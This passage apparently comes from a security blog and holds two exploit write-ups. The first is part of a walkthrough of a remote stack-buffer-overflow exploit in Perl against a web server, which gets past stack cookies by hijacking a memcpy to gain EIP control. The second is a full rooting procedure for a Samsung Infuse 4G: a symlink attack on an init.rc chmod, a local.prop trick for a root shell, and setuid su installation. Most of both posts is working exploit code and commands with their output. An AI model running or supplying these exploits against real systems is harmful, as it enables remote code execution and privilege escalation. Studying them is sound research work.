$exploit .= "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5A";
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer
$exploit .= pack('V', 0x02cdfa54); # Writable pointer
$exploit .= "Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";
$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;

Run it again, and…

What’s this?  Process terminated?  Not just ended, but terminated?  What would cause such a thing?  Let’s go back and add a bunch of breakpoints and see where it terminates.  We’ll follow the execution step-by-step and determine exactly the root cause of this.

We reach the initial memcpy() okay…

And return from a function, unwinding a layer off the stack (note, not the function that we overflowed the call frame of)…

Pass unfettered through a few function calls…

Until we reach this final function before the return:

Note how EBP points to somewhere in our overflow string.  If we hit the function epilogue at 0x0040fcb7 after this final function call, then the program should realign the stack pointer into our buffer, pop the base pointer, and then return to an arbitrary address of our choosing (EIP control).  Yet, that doesn’t happen and the program terminates instead.  That means it can only be…

Uh oh… It looks like we’ve been plagued with stack cookies.  No matter how delicious they sound, these are not the type of cookies you want.  When we overwrote the call frame for the current function, we corrupted the cookie on the stack before it.  We won’t be able to do a direct ret overwrite, so we’ll have to get crafty and influence the program in other ways to circumvent the memory protection.

Great, So What Now?

We have two options to pursue from here.  The first option is to attempt an SEH overwrite – taking control of the exception handler located on the stack, intentionally causing an exception in the program, and pointing execution at any address we choose.  From here we’d need to find a stack pivot to relocate the stack pointer into our buffer, but just our luck that all loaded modules in the program are compiled with SafeSEH:

This doesn’t technically mean the end of an SEH overwrite possibility, as there are other techniques such as generating gadgets from bytes outside of loaded modules in memory, but before we go crazy let’s see what else we have to work with.

The second option is to take a closer look at the functions called before the stack cookie check and see if it is possible to abuse them to redirect the program flow.  One thing that should pique our interest is the fact that in order to satisfy the code executed before the stack cookie check, we had to provide two adjacent pointers in memory, one readable and one writable.  Let’s look more closely at a previous screenshot:

See anything interesting? Recall the arguments to the initial memcpy():

dest=0x02cdfb44
src=0x00399dc8
n=0x1ff4

 

 

The cyclic pattern doesn’t start at the dest address… and it’s missing its first character (“A”)…  Let’s recall the “random” stack pointers we placed in our overflow string:

$exploit .= pack('V', 0x02cdfb4c); # Readable pointer
$exploit .= pack('V', 0x02cdfa54); # Writable pointer

In case you haven’t figured it out already, let’s take a look at the initial memcpy() call:

And now let’s look at the function call just before the stack cookie check:

Notice anything similar?  Just before the stack cookie check, we have complete control over the src and dest arguments of a memcpy() call!  We can leverage this capability to overwrite the return address of the call itself, returning into an arbitrary address in memory and gaining control over EIP.  Update our script:

#!/usr/bin/perl

use IO::Socket;

if ( @ARGV < 1 ) {
    print "Usage: $0 <target>";
}

$sock = new IO::Socket::INET(
    PeerAddr => $ARGV[0],
    PeerPort => 8080,
);

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes
$exploit .= pack('V', 0x0defaced); # Control over EIP
$exploit .= "1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5A";
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)
$exploit .= "Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";
$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;

Run our new script against the server:

Success.

Next Time

Next post in this series (the second of three) we’ll look at how to turn EIP into arbitrary code execution, bypassing DEP and spawning a shell on the remote host.

Rooting the Samsung Infuse 4G

I received a Samsung Infuse 4G this year for Christmas, and one of the first questions I had was how to let this bad boy run free.  Doing a little searching around, it looked like the device was already rootable by the RageAgainstTheCage exploit by the Android Exploid Crew, but of course using an already-written, pre-compiled exploit is too boring.

Note, before we even begin, the device should be placed into USB debugging mode so we can interact with it from a shell (via the ADB – Android Debug Bridge).

After some snooping around, I noticed that the device was vulnerable to a flaw similar to the ones Dan Rosenberg found with the Droid 3 and Admire.  In the init.rc script (which is run at startup as root), we see the following command:

# Permission for WMDRM sample.hds file
chmod 0777  /data/data/.drm/.wmdrm/sample.hds

The sample.hds file doesn’t actually exist, but that fact is irrelevant to the situation.  The interesting thing here is that the .wmdrm directory is also 0777, so we have full control over its contents.  Let’s create a symlink to /data where sample.hds is supposed to be and reboot:

$ ln -s /data /data/data/.drm/.wmdrm/sample.hds
$ ls -l /data/data/.drm/.wmdrm/sample.hds
lrwxrwxrwx shell    shell             2012-01-02 20:13 sample.hds -> /data
$ exit
sh-4.1$ ./adb reboot
sh-4.1$ ./adb shell
$ ls -l
drwxrwx--x system   system            2012-01-02 20:14 dbdata
dr-x------ root     root              2012-01-02 20:14 config
drwxrwx--- system   cache             2012-01-02 20:14 cache
drwxrwx--x radio    radio             2012-01-02 20:14 efs
lrwxrwxrwx root     root              2012-01-02 20:14 sdcard -> /mnt/sdcard
drwxr-xr-x root     root              2012-01-02 20:14 acct
drwxrwxr-x root     system            2012-01-02 20:14 mnt
lrwxrwxrwx root     root              2012-01-02 20:14 d -> /sys/kernel/debug
lrwxrwxrwx root     root              2012-01-02 20:14 etc -> /system/etc
drwxr-xr-x root     root              2012-01-02 20:14 system
drwxrwxrwx system   system            2012-01-02 20:14 data
drwxr-xr-x root     root              1969-12-31 19:00 sys
drwxr-xr-x root     root              2011-08-03 23:33 modules
dr-xr-xr-x root     root              1969-12-31 19:00 proc
drwxr-xr-x root     root              2012-01-02 20:14 dev
-rwxr-xr-x root     root        12127 2010-08-12 10:06 recovery.rc
-rwxr-xr-x root     root          945 2010-08-27 09:41 lpm.rc
-rw-r--r-- root     root        25100 2011-03-17 02:00 init.rc
drwxr-xr-x root     root              2011-08-03 23:33 res
drwxr-xr-x root     root              2011-08-03 23:33 lib
drwxr-xr-x root     root              2011-08-03 23:33 sbin
-rw-r--r-- root     root          118 2011-08-03 23:13 default.prop
-rw-r--r-- root     root         1677 2010-07-06 15:13 init.goldfish.rc
-rw-r--r-- root     root         2378 2010-12-14 23:01 fota.rc
-rwxr-xr-x root     root          379 2010-05-28 03:06 init.smdkc110.rc
-rwxr-xr-x root     root       133016 2011-08-03 23:19 init
$

Our symlink was followed, and now the /data directory is 0777!  From here we’ll create a /data/local.prop file with a configuration setting to not drop privileges when spawning a shell:

$ echo ro.kernel.qemu=1 > /data/local.prop
$ exit
sh-4.1$ ./adb reboot
sh-4.1$

After restarting, the phone refuses to boot and vibrates a bunch due to parsing the ro.kernel.qemu property.  We told the device it was running in an emulator when it’s actually still running on hardware, leading to confusion.  However, we are still able to spawn a shell with adb:

sh-4.1$ ./adb shell
# id
uid=0(root) gid=2000(shell) groups=1007(log)
#

Success!  For persistence, we’ll follow the typical song and dance and copy over some binaries and install the Superuser app:

# mount -o rw,remount /dev/stl9 /system
# exit
sh-4.1$ ./adb push su /system/bin
233 KB/s (26264 bytes in 0.109s)
sh-4.1$ ./adb push busybox /system/bin
500 KB/s (1867568 bytes in 3.646s)
sh-4.1$ ./adb install Superuser.apk
449 KB/s (196521 bytes in 0.427s)
    pkg: /data/local/tmp/Superuser.apk
^C
sh-4.1$ ./adb shell
# chmod 4755 /system/bin/su /system/bin/busybox
#

Clean up our files and reboot the device:

# rm /data/local.prop
# rm /data/data/.drm/.wmdrm/sample.hds
# reboot
sh-4.1$

Running `su` in the adb shell, as well as apps for rooted phones, will now prompt the user (on the phone itself) to grant root privileges to the process.  This selection can be remembered for future use.

A one-click root script for Linux is available here: https://github.com/mncoppola/Infuse-4G-root.  If this exploit works for other phones, contact me and I’ll update the post.

Thanks to Dan Rosenberg for his tips and guidance throughout the process.